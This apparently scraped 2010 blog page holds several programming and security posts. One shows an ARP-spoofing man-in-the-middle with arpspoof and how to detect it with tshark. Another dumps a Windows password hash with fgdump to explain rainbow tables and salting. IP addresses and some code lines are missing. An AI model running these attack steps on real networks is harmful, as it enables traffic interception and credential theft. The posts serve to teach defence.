Saturday, January 30, 2010

Using tshark to find the man in the middle

This post is targeted at people that understand ip addresses, default gateways and have heard of arp, but don’t play with them often enough to realize how vulnerable we are to man in the middle attacks.

Back in the old days, the network hardware was often a hub, and hubs had a property that all the computers connected to a hub could see each others traffic.  This meant if my computer and tori-the-lori were on the same hub tori-the-lori could see all my network traffic. This sound like weak security.  In time the world invented switches, and now almost all networking uses switches. Switches differ from hubs in that computers only see traffic that is sent to them, not everyone's traffic.  This difference should fix the weak security right?   Well, as with most things security the devil is in the details. Lets dig in.

When a computer wants to talk another computer by IP address, it needs to find the MAC address for the IP address, this is done via ARP.  Lets have a look at my home network.

Background info:
    My machine is @
    Tori-The-Lori is another machine in my network @
    My default gateway is @

 C:\Users\igord>ipconfig | findstr 
   IPv4 Address. . . . . . . . . . . : 
   Default Gateway . . . . . . . . . : 

C:\Users\igord>ping -4 tori-the-lori 
Pinging tori-the-lori [] with 32 bytes of data: 

Q: How does my machine know where to find
A: has a MAC address  - MAC addresses are stored in the arp table, lets look at the ARP table:

PS C:\> arp -a | findstr         00-22-5f-7e-f5-79     dynamic 

Q: Can I erase that entry from  ARP table?
A:  Yup

PS C:\> arp -d
PS C:\> arp -a | findstr

Q: If I delete the ARP entry how will my machine find again?
A: Lets watch arp traffic in tshark :)

PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "arp"
Capturing on Microsoft
  7.202265 IntelCor_2f:5a:22 -> Broadcast    ARP Who has  Tell
  7.207136 LiteonTe_7e:f5:79 -> IntelCor_2f:5a:22 ARP is at 00:22:5f:7e:f5:79

Q: How does my machine get a packet to bing?
A: My machine uses DNS to get the IP address, then my machine uses the default gateway ( to send the packet to bing(

Pinging [] with 32 bytes of data:
Reply from bytes=32 time=50ms TTL=54

Back in Wireshark:

PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "icmp" -T fields -e eth.src -e eth.dst -e ip.src -e ip.dst
Capturing on Microsoft
00:21:6a:2f:5a:22       00:08:54:87:86:9c
00:08:54:87:86:9c       00:21:6a:2f:5a:22

Notice the packet to and from bing's IP address is my default gateway:

PS C:\Program Files (x86)\Wireshark> arp -a  | findstr
Interface: --- 0xe           00-08-54-87-86-9c     dynamic

Q: Can someone evil say  they are

A: Yup. I can transform my happy linux laptop, via these commands into an evil man in the middle:

#enable routing 
vmplanet@ubuntu-vm:~$ sudo sysctl -w net.ipv4.ip_forward=1 

# tell 101 I’m really the default gateway. 
vmplanet@ubuntu-vm:~$ sudo arpspoof -t   > /dev/null 

#tell the default gateway I’m really 101.
vmplanet@ubuntu-vm:~$ sudo arpspoof -t   > /dev/null 

Q: What do I see on my windows box?

A: I wouldn’t be looking, but if you were you’d see this:

PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "arp or icmp"
Capturing on Microsoft
  0.697050 IntelCor_2f:5a:22 -> IntelCor_2f:5a:22 ARP is at 00:21:6a:2f:5a:22
  1.997779 -> ICMP Redirect (Redirect for host)
  2.698765 IntelCor_2f:5a:22 -> IntelCor_2f:5a:22 ARP is at 00:21:6a:2f:5a:22
  3.022153 -> ICMP Redirect (Redirect for host)
  3.584377 -> ICMP Redirect (Redirect for host)
  4.699856 IntelCor_2f:5a:22 -> IntelCor_2f:5a:22 ARP is at 00:21:6a:2f:5a:22
  4.765403 -> ICMP Redirect (Redirect for host)
  6.445970 -> ICMP Redirect (Redirect for host)
  6.555464 ->  ICMP Redirect (Redirect for host)
  6.653009 -> ICMP Redirect (Redirect for host)

Or maybe this:

PS C:\Program Files (x86)\Wireshark> arp -a | findstr
Interface: --- 0xe           00-21-6a-2f-5a-22     dynamic         00-22-5f-7e-f5-79     dynamic         00-21-6a-2f-5a-22     dynamic

What the heck? has now hijacked my ARP entry for the default gateway (compare to what was above)

Unfortunately, when I ping things still look right:

Pinging [] with 32 bytes of data:
Reply from bytes=32 time=37ms TTL=54

PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "icmp"
Capturing on Microsoft
  5.758262 -> ICMP Echo (ping) request
  5.794958 -> ICMP Echo (ping) reply
  6.760151 -> ICMP Echo (ping) request
 11.304182 -> ICMP Echo (ping) request
 16.304111 -> ICMP Echo (ping) request

But when we look closely, like at the  the MAC addresses – we realize all are packets go the man in the middle :(

PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "icmp" -T fields -e eth.src -e eth.dst -e ip.src -e ip.dst -e icmp
Capturing on Microsoft
00:21:6a:2f:5a:22       00:08:54:87:86:9c   icmp
00:08:54:87:86:9c       00:21:6a:2f:5a:22   icmp
00:21:6a:2f:5a:22       00:08:54:87:86:9c   icmp
00:08:54:87:86:9c       00:21:6a:2f:5a:22   icmp
00:21:6a:2f:5a:22       00:21:6a:2f:5a:22   icmp

Now that I’ve shown you how easy it is to become a man in the middle you should be thinking about what you are doing so the man in the middle can’t see you.

Saturday, January 23, 2010

The whitespace and indentation debate

Nothing annoys me more than having to argue over whitespace and indentation. Where should we stick the braces? Spaces vs Tabs? Can't we find something more useful to argue over?

Long ago I read the only to end the pointless whitespace debate, is to have the compiler reject random whitespace. I thought that was a very good idea, and today I'll talk about it.

In the beginning whitespace didn't matter, it was there for the human, and the program ignored it.   But that caused an annoying problem - you ended up needing tokens like '{' ';' and '(' and then you needed to argue about how you arranged the code around those tokens.  For example:

ProcessIncomingDogs(List<Dog> dogs)
    if (dogs>1)
        Log("SmallDogs Ran Away Fast");
    Log("EveryOne Ran Away that needed to");

I'm happy to say we're making progress, python gets rid of the annoying braces and instead denotes blocks via whitespace instead.  As a result many python programmers feel that python looks like sudo code. For Example:

def ProcessIncomingDogs(dogs):
    if dogs>1:
        Log("SmallDogs Ran Away Fast")
    Log("EveryOne Ran Away that needed to");

This is good, but there is annoying problem with python. Which whitespace will you use? Spaces or Tabs? Since whitespace implies meaning, mixing spaces and tabs makes real python bugs.

I was very excited to discover that F#, which also relies heavily on whitespace, does not allow tabs for whitespace. I'm thrilled!  Finally the whitespace debate is over in F#. Hopefully more languages will follow F#'s lead. For example:

let ProcessIncomingDogs dogs =
    if dogs > 1 then
        RunAway smallDogs speed.Fast
        Log "SmallDogs Ran Away Fast"
    Log "EveryOne Ran Away that needed to"

By the way, if you are lucky enough to use C#, an excellent way to enforce consistent coding is StyleCop. It has a sane set of rules and decent tooling.  For example the StyleCop for Resharper plugin can perform as you type auto-correction to fit the StyleCop coding convention.

May you never have to waste your life arguing over whitespace and indentation again!

Friday, January 15, 2010

Salting your hash, chasing rainbows and cracking passwords

Henry Ford takes 3 of his division presidents out for diner to decide which of them will be the new CEO. As soon as they start eating Mr. Ford chooses Bob, the man to his left, to be the new CEO. The other division presidents are shocked, and ask why Bob was picked over them. Henry replies: Bob was the only man who tasted his food before salting it.

Unlike at dinner time, hashes should always be salted. A hash is a one way function that maps something, for this discussion a password, to a short string. The point of a hash is if you're given the hash, you can't figure out the password. A common scenario for hashes is checking users passwords. Instead of storing a users passowrd and checking the passwords match, you store the hash of the users password, and make sure a hash of the users password matches the hash you stored. The advantage of storing the hash is if someone steals your disk they don't get your user's passwords.

There's a rub though. What happens if two users have the same password? Then both passwords will have the same hash. Uhoh, now we know if multiple users have the same password. This is bad! Now lets say I'm a bad guy, and compute the hashes for all the common passwords ahead of time? This is called a dictionary attack. You might be asking yourself if a dictionary attack is feasible - how much space is needed to store said dictionary? A hash is usually 20 bytes, to make the math easier lets assume it's only 16 (2^4) bytes. Lets make a dictionary for an 8 digit password; each character can be uppercase, lowercase or a numbers (26+26+10) = 62 (~ 2^6) choices per character x 8 (2^3) characters.

= (2^6)^8 * 2^4 bytes

= 2^48 passwords * 2^4 bytes storage for hash.

= 2^52 bytes for storage

~ 4,000 TB for storage.

This is really big, and clearly not feasible. Fortunately for attackers there is a trick you can play called a rainbow table. A rainbow table is a time space trade off algorithm were you can do a lot of upfront computation to cut down on the amount of required storage in the dictionary. This technique is very effective. The rainbow table for Vista for the 8 character password I describe in this blog post is only 153 GB and you can buy it here.

To defend against rainbow table attacks, we add salt. Before hashing the password, you prepend some random bytes, which we call salt. Then we store the salt alongside the hash. To verify the users password you prepend the users password with the stored salt, do the hash, and check for a match.

This rainbow table attack can be used against my windows box – watch this:

1) create a user account with password dogfood.

c:\temp>net user sillyuser dogfood /add
The command completed successfully.
2) Dump password hash using tool called fgdump.
c:\temp>c:\bin_drop\fgdump.exe >junk

c:\temp>findstr sillyuser * PASSWORD*********************:72B76234CCC8E047C6D12F2E391F5DF7:::

3) Lookup hashes for your password on a helpful website:

ASCII : dogfood 
Hex. : 646f67666f6f64 
LM : 655C44FFBF761281AAD3B435B51404EE 
NTLM :72B76234CCC8E047C6D12F2E391F5DF7 
MD4 : E840B5EB9173B2E137AB14A98742A285 
SHA1 : 67A2C23E0AEF5D92CBE084E22AA8E9A9311322C8 
SHA256 : E674F78D2BF55FD93C878F7FE14448ABE677E7C3160F820AC6A012E457520B81 

4) Clean up

c:\temp>net user /delete sillyuser
c:\temp>del *.*
The command completed successfully.

Thursday, January 14, 2010

How do you thumbprint a certificate?

You often use thumbprints to find certificates, but what is the thumbprint?  The thumbprint is the hash of the certificate. In the case of the CLR’s X509Certificate2 class, the thumbprint is the SHA1 hash of the certificate. If you want to compute the thumbprint of a certificate yourself it’s pretty simple:

function get-CertThumbprint ($cert)
	$sha = new-object System.Security.Cryptography.SHA1CNG
	$hashOfRawBytesOfCertificate = $sha.ComputeHash($cert.RawData)
	( $hashOfRawBytesOfCertificate| % {"{0:X}" -f $_} ) -join ""
PS cert:\LocaLMachine\My> dir

    Directory: Microsoft.PowerShell.Security\Certificate::LocaLMachine\My

Thumbprint                                Subject
----------                                -------
3BCA8A25A071300BD177E4C73135E54FA830039A  CN=STS
08766D8B3DCDE5D633ED06AB1CB4DF4CCAECA533  CN=localhost

PS cert:\LocalMachine\My> $cert = get-item 08766D8B3DCDE5D633ED06AB1CB4DF4CCAECA533
PS cert:\LocalMachine\My> $cert.Thumbprint
PS cert:\LocalMachine\My> get-CertThumbprint $cert

If you’re wondering why you don’t use the subject name to identify a certificate, it’s because you can have lots of certificates with the same subject name.

Saturday, January 09, 2010

Keyboard shortcuts in Windows WYSIWG editors

I have a day job, and in that job I use Word, OneNote and Outlook.  For style I only use bold, italics, underline, headings 1-3 and lists. For some reason, I never learned the keyboard shortcuts for some of these, and thus I need the mouse to apply these styles. In case you suffer like me, here’s are the shortcuts that will set your mouse free.
Style Word OneNote
Heading 1 C-A-1 C-A-1
Heading N C-A-N C-A-N
Bulleted List C-S-L C-.
Numbered list ? C-/
Underline C-U C-U
Italics C-I C-I
Bold C-B C-B
Strike through ? C--
High Light ? C-H
List item up A-S-Up A-S-Up
List item down A-S-Down A-S-Down

Powershell is dynamically scoped, and that will confuse you.

Lets start with an example, as the concept of dynamic scoping is a big string for most programmers.

Python Program
x = 5
def printX():
    print x
def setAndprintX():

Output From Python
Powershell Program
$x = 5
function  printX() { echo $x } 
function setAndprintX()

Output From Powershell

What is this dynamic scoping?
Most programs use static, also called lexical, scoping because it's easy to understand. You figure out what is in scope by looking at the source code. In the python example, the only value of x in scope is the global value of x.

By contrast, powershell uses dynamic scoping, in this model, you lookup up variables at runtime based on a scope stack. Each time you call a function you create a new scope, and copy all values from the parent scope into it. In the powershell example, when printX is called from setAndprintX we get the value of $x that was set in setAndprintX scope.

Why would you want dynamic scoping?
I can't come up with a good explanation of why you'd pick dynamic scoping over lexical scoping. My hunch was this is historical as it's how batch files and shell scripts work. Interestingly, Perl supports both dynamic scoping and lexical scoping. You can read a good article about it here. My synopsis of why Perl has dynamically scoped variables from the article:

  • In the beginning perl only supported global variables and that was painful.
  • Since it was cheap to implement Perl authors added the ability to created dynamically scoped variables (via:local keyword).
  • However, when perl authors got time, they added lexical scoped variables (via: my keyword).
  • Now people are told *not* to use dynamically scoped variables since they're weird.

Do you get other language features to make support for this easier:
Yes, you can write to a different scope explicitly:
$x = 3 # Write to local scope
$global:x = 3 # Write to global scope.

You can also execute your function without creating a new scope via '.' aka sourcing:
. func() # runs the function in local scope, and variables created are visible.

This is a fascinating , but why are we having this conversation?
Because I wanted to write:
function getPrintDogFunction()
        function Nested1(){echo"dog"}
        function Nested2(){Nested1}
        Get-Command Nested2

$printDog = getPrintDogFunction
#  Call PrintDog
& $printDog  

# This Call fails saying can't find Nested1 - which makes sense it's not in scope.
So, I changed my code to the following:
# source getPrintDogFunction, which causes Nested1 and Nested2 to be created in my scope, and thus
# Nested1 is in scope when I call printDog

$printDog = . getPrintDogFunction 
#  Call $printDog
& $printDog  

A few days pass, and I add a new feature, printCat. Via the power of cut and paste our code becomes:
function getPrintDogFunction()
        function Nested1(){echo "dog"}
        function Nested2(){Nested1}
        Get-Command Nested2

function getPrintCatFunction()
        function Nested1(){echo "cat"}
        function Nested2(){Nested1}
        Get-Command Nested2

$printDog = . getPrintDogFunction 
$printCat = . getPrintCatFunction 

#  Print all the animals 
& $printDog  
& $printCat

# Grrr - this is printing cat cat.
# Worse yet depending on the order of these calls, the behavior changes. 

To fix I use the following pattern:
function getPrintCatFunction()
    function Nested2()
        function Nested1(){echo "cat"}
    Get-Command Nested2

$printDog = getPrintDogFunction 

And now the world makes sense.
(1) If you've never heard of dynamic scoping, any language you pick will act the same.